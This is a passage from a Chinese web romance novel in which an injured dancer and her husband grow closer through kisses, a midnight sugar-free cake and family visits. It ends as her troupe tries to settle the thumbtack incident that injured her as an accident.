带着几分思念,几分上瘾,几分急切,这个吻越来越深。 他直接撬开她的唇,勾住她的舌尖开始缠绵,唇齿交缠间,他舌尖轻扫过她的上颚,黎晚棠不自觉发出一声呜咽,抓住他胳膊的指尖深深陷入他坚硬的肉里。 缠绵的吻越来越热烈,傅砚深强势掌控住她的情绪,让胸腔的跳动和呼吸同步。 缠绵而又细细的纠缠着,相互交融。 直到胸腔聚集的渴望越来越强烈,那种情绪即将突破临界点的时候,他才缓缓松开。 暗到极致的黑眸盯着女孩那张饱满湿润的红唇,她迷离的水眸让他喉咙发痒,像千万根羽毛滑过。 他控制不住般,再次捧着她脸,吻了上去。 头顶笼罩着一盏磨砂玻璃灯,如旧时光朦胧的泄下,屋内黏腻至暧昧的水渍声在悄悄蔓延。 光影将这一刻渲染成模糊的画面。 黎晚棠仰头接受他给予的热吻,感觉口腔所剩不多的呼吸再度被他夺走,理智上她想退开,呼吸口新鲜空气。 可吻到深处时,内心却舍不得,只能用尽最后那丝力气,努力回吻上去。 终于在她呼吸不畅,傅砚深轻轻松开她的唇。 染上欲色的眸子,直勾勾盯着眼前的女孩,心想,他现在对她越来越没有抵抗力。 黎晚棠被他盯着心跳加速,脸颊也逐渐变红,她连忙起身拉开两人近在迟尺的距离。 傅砚深退回原来的位置,带着几分低哑喘息的声音响起:“记住,以后就这么哄我。”- 重新换好纱布,黎晚棠懒懒地躺在沙发上玩手机,傅砚深已经返回书房去办公。 书房门微敞,可能是方便她叫他。 知道他在忙工作,黎晚棠也不出声打扰,点开微博无聊地翻看着,似乎在转移注意力。 不好意思去想刚刚那个灼热的吻,以及傅砚深最后叮嘱她的那句话,以免脸颊再次爆红。 图钉的事怎么处理的,她也不清楚,好像都是傅砚深在跟进,团长也没跟她打电话说过这事。 恰好这时,白露晞的信息弹了出来:【晚晚,你脚上的伤怎么样了?】 黎晚棠退出微博,回复:【消肿了,现在家里养着呢。】 她又迫不及待地打字:【查没查到,图钉是谁带过来的?】 白露晞:【没有,今早团长还开会说了这事,又把昨天在场的那几个同事叫去办公室谈话了,听说还是没有一点线索。】 黎晚棠垂眸沉思,休息室没有监控,加上这种事情没有目击者,根本无从查起。 除非那人亲自承认,但这几乎又不可能。 黎晚棠:【所以什么线索都没有?】 白露晞:【目前是这样,团领导们还在查看监控,后期看看有没有什么可疑人物。】 停顿两秒,白露晞又发来一条信息:【晚晚,其实我挺怀疑温若棠的,整个团里就她嫉妒你,让你上不了台的事,她嫌疑最大。】 黎晚棠看到这条信息,眉心猛跳,她跟自己想一块去了,但没有证据的事,不能乱说:【这话你在我这里说说就行了,千万别在团里说。】 白露晞:【这个我当然知道,你好好养着,快点回来。】 黎晚棠笑着又跟她聊了几句,放下手机后,偏头盯着窗外的云朵发呆。 她在团里人缘一向不错,没人会故意去针对她,如果有人要害她,应该也算不准她那个点会出现在哪里,还那么巧踩了上去。 或许真是个意外。 出神时,身旁的手机又响了起来,黎晚棠急忙按下静音,偏头看了眼书房,缓缓接通:“喂。” 叶知薇微微拧眉,也下意识地压低声音:“你刚睡醒啊?” “没有。” 黎晚棠没解释,拿着手机别过头:“你这个点跟我打电话,怎么了?” 叶知薇弯唇:“傅砚深不是回来了嘛,你问问他什么时候有空接受我的采访呀。” 网上虽然没有关于他的报道,但她时刻盯着傅砚深的动向,清楚他昨晚就已经回京北了。 黎晚棠表情微愣,叶知薇今天要是不提起这件事,她还真忘了。 但目前她这个情况,估计傅砚深应该没时间接受她的采访。 她单手捂着手机,压低声音,把昨天的事跟她说了:“事情就是这样,我刚出院,他也没回公司上班,你恐怕还得再等几天。” “你都这样了,我那采访还什么急。” 叶知薇说着,弯腰拽过一旁的包包,起身离开办公室:“等着,我现在就过去看你。” 黎晚棠看了眼还在办公的傅砚深,低声道:“你真要过来?” “当然,我已经走出办公室了。” 叶知薇进入电梯,按下负一楼:“等着,半个小时就到。” 黎晚棠也清楚叶知薇风风火火的性格,加上她们上班时间自由,她说过来,就肯定会过来。 只是不知道,会不会打扰到傅砚深的工作。 黎晚棠放下手机那一刻,却莫名弯唇笑了,如今真是心境不同,她现在做什么都会优先考虑傅砚深。 或许,这就是所谓的在乎吧。 下午车流量不大,半个小时后,房门铃声准时响起。 黎晚棠忙扭头往玄关看了眼,撑着沙发垫准备起身,本想坐着轮椅去开门,殊不知傅砚深听见声音,已经从书房走了出来。 看到黎晚棠的举动,他疾步走了过去:“你别乱动,我去开门。” 闻言,黎晚棠还真就没动,只抬头说道:“不是外人,应该是知薇。” “嗯,你好好坐着。” 傅砚深见她重新坐回沙发,这才转身去往玄关。 打开房门,门外站着的人确实是叶知薇。 叶知薇看到是傅砚深,嘴角立马扬起笑意:“嗨,妹夫好。” 傅砚深礼貌点头:“你好。” 说着,他侧身邀请人进门,语气和行为都很客气:“进来吧,棠棠在等你。” “好嘞,打扰了。”叶知薇进门后,傅砚深弯腰给她拿了双拖鞋。 她笑着说了句谢谢,低头快速换上,起身边偏头打量屋内环境,边进入客厅。 直到看见沙发上的黎晚棠,快步跑了过去:“怎么样,还疼不疼?” “今天好多了。” 黎晚棠拉着她落坐,偏头问:“我们这边好找吗?” 叶知薇回头看了眼去厨房的傅砚深,凑到她耳边悄声道:“是真话,我绕了好几圈,最后是问了保安大哥才找到你们这栋楼的。” 说着,她仰头又环视一圈:“你们小区真大,你家房子也不小。” 豪宅叶知薇看过不少,但这种地段和楼层的可不多见,何况傅砚深这里是真大,奢华装修很有品位,选用的装修材料一看就不便宜。 看得出来,他是一个很会享受生活的人。 黎晚棠偏头靠近她,弯唇轻笑:“其实我第一次开车过来,也找了好几圈。” 这话落下,两人纷纷笑出声。 就在这时,一盘新鲜果盘出现在两人面前。 外加两杯温水。 叶知薇诧异抬眸,片刻,又笑着开口:“谢谢妹夫,你真是太客气了。” “应该的。”傅砚深起身,垂眸看了眼黎晚棠:“你们聊,有事喊我。” “嗯嗯,你忙工作吧,不用管我们。” 等人离开,叶知薇侧身轻碰了碰黎晚棠的胳膊,挑眉轻笑:“可以啊,我闻出一股老夫老妻的味道。” 黎晚棠羞赧地回撞她:“小声点,傅砚深在书房办公呢,你说话别打扰到他。” “呦呦呦,我们这才几天没见啊,你现在和妹夫的感情变得这般如胶似漆了?” 叶知薇诧异过后,又意味深长地挑眉:“你不会已经吃——” “快吃吧,进口的哈密瓜,可甜了。” 黎晚棠不等她把话说完,直接往她嘴里塞了块水果:“多吃点,管够。” 叶知薇好笑地嚼着嘴里的哈密瓜,话题又聊到她脚伤上:“你们团里是不是有人看你不顺眼,故意不想让你上台,才在休息室撒图钉。” 黎晚棠低头,若有所思吃着水果:“事情没查清楚,不好说。” 叶知薇抓到重点,诧异道:“也就是说,真有人看你不顺眼。” 黎晚棠瞥她一眼,微微弯唇:“我这么优秀,嫉妒我的人肯定有,你当初不也看我不顺眼吗?” 当年她们同在一个舞蹈班学习跳舞,不知为何,她们就是互看对方不顺眼,后来突然有一天,叶知薇跑过来跟她说,想和她做朋友。 原因是她长得太好看了,她实在讨厌不起来。 从那之后,她们两的关系就一直很好。 旧事重提,叶知薇失笑:“我那时候是心里别扭,但其实是喜欢你的,不然也不会跑去跟你和好。” “我知道,要不然你以为我那么好哄。” 叶知薇笑了笑,语气又正经起来:“这事需要我找人帮你查查吗,我有认识的人。” 黎晚棠偏头问:“什么人?” “一名刑警,他经验丰富,从业以来成功破了好几起大案子。”叶知薇认真道:“你这事说小也不小,可以报警。” “……” 啊,报警? 黎晚棠觉得没那么严重,而且还是他们舞蹈团内部的事情,闹大了也不好,再说傅砚深在跟进这件事,她相信他能查出真相。 “不用,傅砚深在跟我们团长沟通,我不想参与。” 不管真相如何,这件事到底是人为还是意外,她始终都是那个受害者,还要花心思去思考这些事,她只会觉得疲惫。 她都这么说了,叶知薇也就没再聊这个话题。 后背靠着沙发椅,仰头在屋里环视一圈,突然冲黎晚棠眨眼,低声说道:“我这次见你,感觉你状态很不对劲,说真的,你是不是喜欢上傅砚深了?” 黎晚棠眼眸忽睁,急忙去捂她的嘴,而后心虚地看了眼书房:“你小点声,不然被他听到了。” 叶知薇被她模样逗笑,悄声问:“所以,你喜欢他是真的,而且他还不知道?” “我还没弄清楚他的心思呢,怎么可能让他知道。” 黎晚棠低下头,有些苦恼地抿了抿嘴角:“我是想,先摸摸他的底。” 在表明心意之前,她起码要知道傅砚深的态度。 万一她会错意,这些都是他对妻子的优待,到时候尴尬的人只会是她。 叶知薇坐起身,瞬间来了兴趣:“那你打算怎么摸底?” 黎晚棠抬眸看她,认真思考一番后,摇头:“不知道,我还暂时没什么头绪。” “哎呀,这种事你交给我,我来帮你想。” 叶知薇朝她挑眉,一副包我身上,你放心的表情- 傅砚深送走叶知薇,没回书房办公,而是在她身旁坐下。 黎晚棠见他是准备给自己换药,低头询问:“我们在外面聊天,没影响到你工作吧?” 听着女孩小心翼翼的语气,傅砚深抬头看她:“没有。” 黎晚棠刚要弯唇,就听到他后面那句:“我说过,这里也是你的家,你想做任何事都可以,包括跟你朋友畅谈。” 黎晚棠微怔,随即弯唇:“嗯,这个我知道。” 他可能是误会了,她们聊天是不想让他听到,所以才故意压低音量,而她不留叶知薇下来吃饭,是担心她口不择言,怕把刚才的聊天内容说漏嘴。 她并不是没把这里当成自己的家,反而是把这里当成家,她才不询问他的意见,直接同意叶知薇上门。 但傅砚深能这么说,她心里很高兴。 “那就好。”傅砚深换完药,转身去了厨房,将手清洗干净后,开始准备晚餐。 从医院回来,两人只是简单的对付一口,现在看到他从冰箱拿出来的食材很丰富。 黎晚棠没事干,打开客厅电视,边调台边思考,叶知薇给她提供的试探。 随便调了个频道放下遥控器,播放一档综艺节目。 这几年这种综艺节目蛮多的,她很少去看,里面的人几乎都不认识。 她看似盯得认真,实际上思绪不知道跑哪里去了。 傅砚深多次偏头,见女孩目不转睛盯着,好奇地停下来看了一会儿,好像是男女相亲的恋综节目,此刻播放的镜头是在游泳池,两男两女,女生穿得性感,男的光着上半身。 他眉头微蹙,目光落在其中一名男生身上,皮肤很白,腹部平坦却不见肌肉的沟壑,只有微微凹陷的线条,没有力量感的起伏。 在他看来,这样的身材不值得在镜头前展露,更像是未完成的素描画。 傅砚深收回视线,低头准备切配菜时,停顿了一会儿,扭头去问:“胡椒你吃吗?” 黎晚棠猛然回头,片刻才反应过来他问的话:“哦,吃的,我不挑食。” 傅砚深瞥了眼,屏幕上已经跳过去的游泳镜头,轻轻点头:“好,知道了。” 四十分钟后,饭菜被端上桌。 黎晚棠看到极其丰盛的晚餐,下意识舔了舔唇。 可能是她这两天脚底流了不少血,桌上大部分都是有关补血的食材。 黎晚棠低头吃饭时,嘴角忍不住扬起。 细节上,他真的很暖心。 突然觉得,叶知薇说的那个试探可以免用,她好像可以确定,傅砚深应该是喜欢她的,不然也不会为他做这么多事情。 饭后,傅砚深推黎晚棠去阳台透气,进入九月的天气,夜间微风拂过带着丝丝凉意。 傅砚深看了眼,正盯着远处万家灯火出神的女孩,随即转身回房,给她拿了一条披肩。 肩头突然有柔软覆盖,淡淡的花香飘然鼻尖,晚棠下意识偏头,发现肩膀上多了件米白色羊绒披肩。 她仰头去看身旁的男人,微微勾唇:“谢谢。” 傅砚深眉眼间露出柔和,俯身推着她又往前走了几步,直接来到透明玻璃栏杆前停了下来。 这边的视野更广阔,她只需稍稍低头,就能俯瞰整个市中心的繁华。 两人就这般静静看着远处的夜景,一个坐着,一个如松树般站在她身后,不知情的人看到这一幅画面,定会冒出琴瑟和鸣,般配至极这样的感觉。 不断有夜风袭来,傅砚深怕她受凉,推着她返回房间去洗漱。 再度帮她换好药,两人准备上床睡觉时,黎晚棠欲言又止地看向他:“傅砚深。” 傅砚深掀开被子的动作顿住,偏头问:“怎么了?” 看到男人眼底显露的那抹担忧,黎晚棠想要试探的话又咽了下去,总觉得有点残忍。 毕竟吃甜食是他很抗拒的事。 叶知薇说,想要试探一个男人在不在乎,就让他做最不可能做的事。 如果他能为她妥协,就足以证明他是在乎的。 最不可能的事,她瞬间想到的是吃甜食。 可这一刻,她想放弃了:“没事,睡吧。” 傅砚深看出女孩的欲言又止,他沉默了会儿,不仅没睡,反而认真地侧身看着她:“黎晚棠,我们是夫妻,不用觉得不好意思。” 他以为女孩是想上洗手间,又不好意思开口。 黎晚棠对于他这话愣了片刻,依旧没想明白,眨眼问:“什么……不好意思?” 他是不是误会什么了? 傅砚深盯着她,直白道:“你不是想上洗手间?” “……” 黎晚棠那张茫然的脸,逐渐转变成羞涩。 她垂头轻咳两声,这事好像不得不说了,不然他会一直误会下去:“我不是想上洗手间。” 黎晚棠坚定地抬头:“我是想吃蛋糕了。” 说完这话,她目光就一直落在傅砚深脸上,捏住被子的手指微微收紧。 果然,结果跟她想象的一样,傅砚深听完登时就皱起眉眼,表情秒变严肃。 “不行,甜食有害健康。”依旧是不容置疑地口吻。 “嗯嗯,我知道了,快睡吧。”黎晚棠莫名地松了口气,抬手拉过被子,侧身躺好。 此刻她心情很平静,并没有因为傅砚深的拒绝而难过,反而认为这是他一贯的生活态度,这种事本就不该拿来做测试。 傅砚深目光微沉,若有所思地望着拉过被子盖过头顶的女孩,对于她番举动,眉头很轻地皱了皱。 关灯后,黎晚棠很快就转过身,习惯性窝进他怀里,傅砚深避开她的脚,将人拥紧。 等怀里的人传来平稳地呼吸声,他闭上的眼睛又缓缓睁开,黑眸在黑暗中静看了许久,忽而掀开被子下床。 黎晚棠是半夜渴醒的,抬手去摸了摸身旁的位置,一手抓空后,猛然睁大眼睛。 她偏头看了眼傅砚深那头根本没人。 下意识仰头在房间寻找,浴室衣帽间都没人,只有走廊上微弱的灯光泄入。 黎晚棠撑着床垫坐起身,翻身下床,利用脚后跟踮脚坐上轮椅,滑动轮椅往门外走。 不清楚傅砚深在没在客厅,黎晚棠拉开房门的那一瞬,鼻尖先闻到一股淡淡的面包味。 带着疑惑滑动轮椅继续往前,当看见在厨房忙碌的那道身影时,她鼻尖骤然涌起一股酸涩。 因为傅砚深不是在做别的,而是在做她嘴上说要吃的蛋糕。 所以他半夜偷偷起来,就是在帮她做蛋糕。 可他明明严肃的拒绝了,说甜食不健康的。 却只因为她想吃,半夜爬起来照着食谱做。 听到走廊传来动静,傅砚深一回头就对上黎晚棠那双泛红的双眼,他手上动作忽僵,似乎没料到她会醒来。 两人就这般静静对视着,空气仿佛凝固住。 “怎么醒来了?” 傅砚深收敛思绪,快步朝她走了过去,低头询问:“是脚疼吗?” 医院那晚,她好几次醒来,都是因为脚疼。 黎晚棠仰头定定地望着他,没着急回答他的话,而是抬手指了指中岛台上的蛋糕:“你是在做蛋糕吗?” 傅砚深回头看了眼,目前还是半成品的蛋糕,轻轻点头:“嗯,吃甜食对身体不好,但你想吃,我只能做一个无糖蛋糕。” 听到这句话时,黎晚棠心头猛然一跳。 有种说不出的感动,在心中荡漾开来。 答案虽然已经呼之欲出,可是他蛋糕都已经做了,如果不当面问出口,她有些不甘心。 她吸了吸鼻尖:“傅砚深,如果我不是你的妻子,你还会做这些事吗?” 客厅灯光没有全开,几盏暖黄色灯光在两人头顶笼罩,落地窗前溜进来的月光,将室内暖成了银白色。 傅砚深目光幽暗地望着她,低沉的声音在夜深人静的客厅回荡,格外清晰:“我做这些,无关你是不是我的妻子。” “只因为那个人,是你。” 第35章 ——只因为那个人,是你。 黎晚棠静静地望着他忽而勾唇笑了,笑着笑着,眼底逐渐涌出几分氤氲的水意。 忽然觉得,这是她有生之年听过最动听的话。 如果之前她还在犹豫不决,他对她的关心,只是作为妻子的优待。 那他现在的回应,无疑是给她最好的回答。 她不是在自作多情,傅砚深是真的喜欢她。 得出这样的结论,她心情激动像跑了一千米,那颗心砰砰跳个不停,随时能从胸口跳出来。 她第一次喜欢一个人,恰好这个人也喜欢她。 黎晚棠低头抹了下眼角,心里莫名被一股暖流填满,这刻连呼吸都变得小心翼翼,深怕打破这一瞬间美好。 傅砚深盯着女孩又哭又笑的表情,一点点抬起她的下巴,指尖在她眼角处轻蹭了下:“看见有蛋糕吃所以高兴,可听到是无糖的,就哭了?” 噗嗤! 黎晚棠被他这话逗笑,稍稍偏头,脸颊紧贴着他温热的指腹:“不是,就是看到你深夜起来为我做蛋糕,我感动到想哭。” 怎么能不感动,她喜欢的人半夜起来帮她做蛋糕。 他好像真的,爱惨了。 这般想着,黎晚棠又垂眸,羞涩地笑了起来。 就还挺自恋的。 傅砚深盯着女孩嘴角那抹笑,眉眼间也涌出笑意:“要不你回去睡吧,明早起来吃。” “不,我要吃新鲜出炉的。” 黎晚棠摇头不肯回去睡觉,她想陪着他一起。 傅砚深无奈勾唇,指腹她眼睑处轻揉了揉:“那就乖乖在客厅等我。” 黎晚棠忙不迭点头,见他转身继续去做蛋糕,快速捂住他残留在她眼角的温度。 啊啊啊! 原来被喜欢的人这般对待着,嘴里跟吃了糖似的,甜! 黎晚棠单手撑着下巴,就这样偏头安静地看着他。 可能是心态有所变化,就觉得傅砚深不管做什么都那么好看。 他每个转身及动作都很勾人,让她嘴角微扬,眼神着迷。 傅砚深端着蛋糕走近,察觉她一直盯着自己看,拧眉问:“是我脸上沾到面粉了?” 黎晚棠猛然回神,坐起身在他脸上扫了眼,而后快速抬手在他脸颊蹭了蹭,笑道:“现在没有。” 其实他脸上很干净,她就是趁机想占他便宜。 闻言,傅砚深也抬手擦了两下:“谢谢。” “不客气。” 黎晚棠压住嘴角笑意,伸手拉他:“你坐着歇息会儿吧,都站半天了。” “不累。”傅砚深低头看了眼女孩的手,眸光流转着,顺势在她旁边坐下:“现在要吃吗?” “吃,我想尝尝你做蛋糕的手艺如何。” 黎晚棠俯身去看茶几上的蛋糕,鼻尖用力闻了几下,忍不住舔唇:“看起来很好吃的样子。” 傅砚深勾唇:“那你先松开我,我帮你切。” 黎晚棠愣了下,才发现她还一直挽着傅砚深的胳膊,忙笑着松开:“哦哦哦,忘了。” 挽着他的动作太自然,这一刻恍惚以为他们俩是在谈恋爱。 不知道傅砚深心里怎么想,反正给她的感受是这样。 傅砚深没给她多切,也就一小块,怕她太晚吃东西不消化:“今晚先吃这些,剩下的我放冰箱。” “好。” 黎晚棠乖乖点头,迫不及待把蛋糕放入嘴里,淡淡的抹茶味在口腔化开,很清爽,没有奶油味的黏腻。 她眼眸瞬间亮起,这是她第一次吃无糖蛋糕,本以为味道会怪,没想到出乎意料的好。 蛋糕胚不干也不湿,刚刚好的状态,抹茶味没有那么浓郁,搭配一层奶油正好起了解腻的效果。 黎晚棠边吃,边偏头笑道:“嗯,很甜。” 傅砚深眉头微皱,制作的过程他一丝糖都没放,怎么会有甜味。 他直言:“可我没放糖。” 黎晚棠舔了舔沾到唇边的奶油,轻轻眨眼:“是吗,但我吃到的味道就是甜的。” 望着傅砚深疑惑加重的眉眼,她微扯唇角,眼底闪过一抹狡黠:“不信啊,那你尝尝。” 说着,她直接仰头对准他的薄唇亲了上去,唇瓣相贴,她实实在在地亲了一口,抬眸好整以暇地望着他:“怎么样,尝到甜味了吗?” 唇上的柔软刚分开,傅砚深便明白了女孩的用意,何况她此时眼底的狡黠还未散掉,像一只得逞的小野猫。 他喉咙忽紧,及时扣住女孩后退的脑袋,低头衔住她的唇:“时间太短,没尝出来。” 手里的蛋糕散落,随着茶几掉入地毯无声无息。 黎晚棠没想到男人会反击,强势而又霸道的热吻,将她压抑半天的情绪得到释放。 在他舌尖闯入的那一瞬,她双手环住他的脖子,伸舌回应。 女孩这样的回应无疑是灼热的兴奋。剂,让两颗原本沉睡的心变得躁动,他扣住她的腰间,用力回吻,连她舌尖仅有的那点蛋糕也被他吞没腹中。 男人急切的吻像野火燎原,她更像是坠入深海的鱼,氧气被掠夺殆尽,她却还甘愿溺毙其中。 显然将她推入深海的捕捞者,并不想让她缺氧而亡,在她接近濒临时,缓缓松开她的唇,给予新的空气。 黎晚棠无力地趴在傅砚深肩膀上,气喘吁吁缓了好一会儿,弯唇笑问:“尝出来了吗?” 傅砚深收紧她腰间的手,说话时,声音里仍有轻微的起伏:“尝出来了,确实是甜的。” 黎晚棠失笑,明白他所谓的甜,指的是哪方面。 “没骗你吧,这个蛋糕真的很甜。”- 黎晚棠在家休息的第二天,沈老师意外得知她受伤的消息。 以为她在舞蹈团,中午过去找她吃饭,这才从同事嘴里得知了真相。 沈老师气冲冲杀过来时,黎晚棠正窝在沙发上跟叶知薇发信息。 叶知薇:【试探的结果怎么样,你赶紧说,别过河拆桥啊!】 黎晚棠单看文字都能想象叶知薇抓狂的样子,低头轻笑:【意料之中的事,我成功吃到蛋糕了。】 叶知薇无情吐槽:【啧啧啧,昨天还不清楚人家的心思,你这会儿就意料之中了?】 黎晚棠弯唇笑:【他平时对我的关心,其实我能感觉到,只是不确定而已。】 叶知薇:【所以呢,现在是确定了?】 黎晚棠捧着沙发傻笑,眉眼间洋溢着淡淡的幸福:【对呀,已经百分百确定他喜欢我。】 叶知薇:【哎呦喂,这话酸死我喽,那你们俩的那层窗户纸捅破没啊?】 黎晚棠:【还没,我想找个合适的时机跟他表明心意。】 叶知薇给她发了个非常震惊的表情:【姐妹,告白这种事还是交给男生吧,你着什么急呢。】 黎晚棠弯唇打字:【嗯,是我比较急,之前都是他主动,这次我想主动一回。】 信息发送成功,门铃在这时候响了起来。 黎晚棠以为是张姨送食材过来,他们在家这两天都是如此,所以她忙仰头朝书房喊了声:“傅砚深,应该是张姨来了,你快去开门。” 很快,傅砚深就从书房走了出来,他先过来看了看她的脚,这才转身去往玄关。 房门打开,黎晚棠半天没听到有人说话,她偏头问:“傅砚深,你怎么不请张姨进来坐坐。” “张姨没来,你亲妈倒是可以进来坐坐。” 沈听荷瞥了眼站在一旁没说话的傅砚深,换上他准备的拖鞋,径直往客厅走。 听到是沈老师的声音,黎晚棠吓得立马从沙发上弹坐起来,慌里慌张地去看走在沈听荷身后的男人,茫然朝他眨眼。 什么情况,她妈怎么突然过来了? 余光扫见沈老师投过来的视线,她忙坐正身子,扯唇笑问:“妈,你怎么来了?” “再不过来,你们是打算瞒我到什么时候?” 沈听荷喘着粗气来到她身旁,蹲下身先查看黎晚棠的脚伤,见她要缩回去,沉声道:“躲什么,以为今天还能躲得过去!” 黎晚棠轻眨了眨眼,很少见沈老师发这么大的火,看来是真生气了。 她下意识去找傅砚深,谁知一回头,发现男人就站在她身后。 或许是见她回头看他,傅砚深伸手牵住她,轻捏了捏她的指尖,默默给予安慰。 黎晚棠抿唇,视线重新落在沈老师身上:“妈,其实我脚伤差不多痊愈了,不是很严重。” “不严重,那你表演完下台直接晕倒,是怎么回事?” 沈听荷抬头横她一眼,又低头继续去看她的脚,没了纱布的遮挡,还能看到图钉扎过的痕迹:“这么大的事,你们瞒着我和你爸一个都没说。” “……” 黎晚棠低头,不敢说话了。 “妈,是我主张没跟你们说的,抱歉。”傅砚深语气诚恳。 听到这话,沈听荷直接站起身,视线落在傅砚深身上:“所以你接电话那晚,你们就在医院,你跟我撒谎说回家了。” 傅砚深点头:“嗯,怕你们担心。” “就算怕我们担心,这种事你也不该隐瞒呀,棠棠不懂事,你比她大难道也不懂事?” 沈听荷这次是真生气了,她女儿在舞蹈团受伤,还坚持带伤上场,她坐在台下居然都没看出来,也不知道是气她对黎晚棠的关心太少,才会一点端倪都没看出来。 黎晚棠见沈老师朝傅砚深发火,而且他还老实巴交承受着,她顿时急得不行:“妈,是我要他不要告诉你和爸的,就是怕你们睡不好。” 她撇嘴低声嘀咕:“……你老骂他干嘛。” 傅砚深忽而垂眸,去看为她出头的女孩,心里暖得不行,牵住她的手不自觉用了几分力。 尽管如此,他也不想她挨骂:“确实是我考虑得不周全,妈说我也是应该的。” 这般发火他都没有怨言,沈听荷轻叹了口气,收回视线时,余光不经意瞥见两人紧牵在一起的手,心里那股气瞬间消散。 事后才品出来,这小两口都彼此护着呢。 “现在真不疼了?”沈听荷语气瞬间柔和下来。 “不疼了。” 黎晚棠抽出被傅砚深握住的手,赶紧拉着沈听荷坐下,脑袋枕在她肩头撒娇:“就是见您生气,我心里难受。” 沈听荷被她这话逗笑,随即又板着脸:“别以为你这样我就不生气了。” “不生气不生气,生气容易老。”黎晚棠用脸颊蹭她沈听荷的胳膊:“黎总会心疼的,我也是。” 傅砚深身形笔直地站在一旁,嘴角含笑地看着这一幕,这好像是他第一次见黎晚棠跟父母撒娇。 模样很可爱,有点想抱起来亲。 当然,他也只敢在心里想想,毕竟岳母还在。 沈听荷最开始得知这个消息很生气,现在看到黎晚棠却只有心疼,见她脚伤是恢复不少,担忧的那颗心稍稍落下。 她抬头去问傅砚深调查的情况,他把知道的全说了,还保证会把这件事调查清楚。 沈听荷信他,看到黎晚棠被他照顾得很好,也没久留,叮嘱了一些注意事项,傅砚深亲自把人送下楼。 见他回来,黎晚棠立马问:“我妈下楼有没有说你?” “没有,只是要我照顾好你,不能乱吃东西。” 傅砚深走过去,在她身旁坐下:“担心我被妈骂?” “当然,你又没错,是我不让你告诉他们的。”黎晚棠一脸心疼地看着他,觉得他好傻,被骂了也不解释。 傅砚深眸色忽暗,出口的声音有点哑:“那我受委屈了,你要不要哄哄我。” “……” 黎晚棠怔住,很意外这话是从傅砚深嘴里说出来的。 他此刻的眼神她也很熟悉,因为每次要亲她的时候他都是这副表情,直勾勾的,眼底的欲。望从不隐藏。 黎晚棠抿唇失笑,这人现在已经学会索吻了。 真的好耿直,但她好喜欢。 她想也没想,双手勾住他的脖子往下压,仰头在他唇上轻啄了几下,笑问:“哄好了吗?” 傅砚深目光幽深地望着她:“不够。” 黎晚棠笑了笑没说话,下一秒,她仰头再次吻住,这次没有离开,而是绵绵密密地落在他唇瓣,闭上眼,反复流连。 傅砚深万万没想到女孩会这般热情,她生涩却又主动的举动,让他极力平复的呼吸一下子紊乱起来。 黎晚棠这两天的变化明显,他就算再不懂也能感觉到,这次她不仅是彻彻底底依赖上他,还逐渐感觉到了她的心思。 女孩对他产生了感情,在他面前可以不加掩饰的展露情绪,整个人变得鲜活起来。 傅砚深知道,这才是真正的黎晚棠,她积极向上,对生活充满了热情,像株娇艳明媚的红玫瑰。 这般想着,他忽而闭上眼睛,扣住紧她的腰身,反客为主的加深这个吻。 缠绵的吻不知持续了多久,两人都气喘吁吁才结束。 他们彼此拥抱着,静听两人都不平稳的心跳。 _ 黎晚棠脚伤彻底痊愈,医生说可以下地行走后,傅砚深才允许她去舞蹈团。 苏清得知她回来,心里既高兴又有几分担忧。 这次事件查出来的结果让他们都非常意外,确实没想到会是自己团里的人。 而且还是她看中的优秀舞者。 黎晚棠瞧见团长脸上掩盖不住的忧愁,眼皮猛跳了下,感觉结果会跟她的猜想融合。 她默默低头,把目光落在桌上国际比赛的合同书上,虽然团长已经审核过没什么问题,但事关她比赛的细节,她还是认真看了一遍,才签下自己的名字。 黎晚棠把合同书交给苏清时,她脸上的忧愁表情依旧还在。 而她抬头看她的那一眼,让黎晚棠心里咯噔一下,预感不好。 “团长,你就直说吧,撒图钉的人到底是谁。” 黎晚棠受不了她这般打哑谜的样子,索性直接问出口。 苏清沉默了会儿,抿唇道:“查到了,是温若棠,但事情跟我们看到的不一样。” 黎晚棠轻眨着眼睫,捏住圆笔的指尖收紧。 她和白露晞都没猜错,撒图钉的人真是温若棠。 但这事没在团里爆出来,应该是被团领导压下去了。 黎晚棠咽了咽喉,隐忍着:“哪里不一样?” 苏清察觉黎晚棠的情绪不对,轻声道:“晚棠,你先别激动,这件事我已经找若棠谈过了,图钉是他从储物室拿出来准备做照片墙的。” 休息室里每个人都有一个自己的柜子,方便放一些私人物品,里面除了衣服,很多同事会在木柜门贴照片或标签。 这些黎晚棠知道,只是这个理由并不能让她信服。 “只是她还来不及弄,就接到家里打来的紧急电话,然后随手把图钉放在一旁的柜子上,可能是谁不小心碰撒落地,才导致了这场意外。” 苏清当时听完温若棠的解释也很气愤,责怪她粗心大意,因为这样伤了同事。 她也知道这事不能轻易原谅,但团领导的意思,最好私下解决,不要把这件事闹大,对团里的影响不好。 苏清艰难开口:“晚棠,我知道这次脚伤对你的伤害性很大,但这件事既然是场意外,所以为了团里的利益考虑,要温若棠当面跟你道歉,并赔偿你所有的医疗费用,你看这事能不能化小。” 黎晚棠没想到,她流了满脚的血,如今只换来是一句轻飘飘的意外,团里更是用“利益”两字,来彻底平息这次事件。 她是看出来了,团领导想保住温若棠。 但她这边又不能得罪,所以才要苏清来说劝她。 黎晚棠并没回答,而是反问道:“事发时,她当时为什么不承认?” 苏清解释:“她过来看见你脚底流那么多血,也被吓坏了,而且当时图钉她是放在柜子上的,并不知道她走后是谁打翻在地,所以不敢轻易说话。” “可没有任何人可以证明,她这些话的真实性。” 黎晚棠抓住漏洞:“而且休息室里没有监控,怎么能证明这次事件就是意外。” “这……” 苏清被黎晚棠这话噎住,嘴角动了动,半天说不出一句反驳的话,反倒开始沉思起来。 温若棠昨天跟她说完这些,出于对她人品的了解,她真没多疑,虽然是很生气,但也信了,加上她不想丢失这么一个优秀的舞蹈人才,在主观意识上就选择相信她。 现在听黎晚棠这么说,温若棠说的那些话既没有人证,也没有物证,这件事看似揭开了谜团,实际还是不清楚图钉到底是如何撒在地上的。 “晚棠,我们只是从监控看到若棠出现过储物室,并没有休息室内的监控画面。” 苏清理智分析这件事:“所以,如果没证据能证明若棠是故意将图钉撒在地上,那这件事……只能算是意外。” 黎晚棠低头深吸一口,这个话题又回到原点。 确实,如果没有证据,温若棠怎么说都行。 最后团里也只能定义成意外。 苏清犹豫了会儿,又轻声劝道:“晚棠,你马上就要参加国际比赛了,我不希望你一直把心思放在这件事情上,你现在的精力应该放在编排主题舞蹈,赢得比赛荣耀归来。” “要是现在找不到新的证据,只能像团里说的,你和晚棠私下把这件事……” “谁说没有证据。” 一道低沉清冷的声音从门外传了过来。 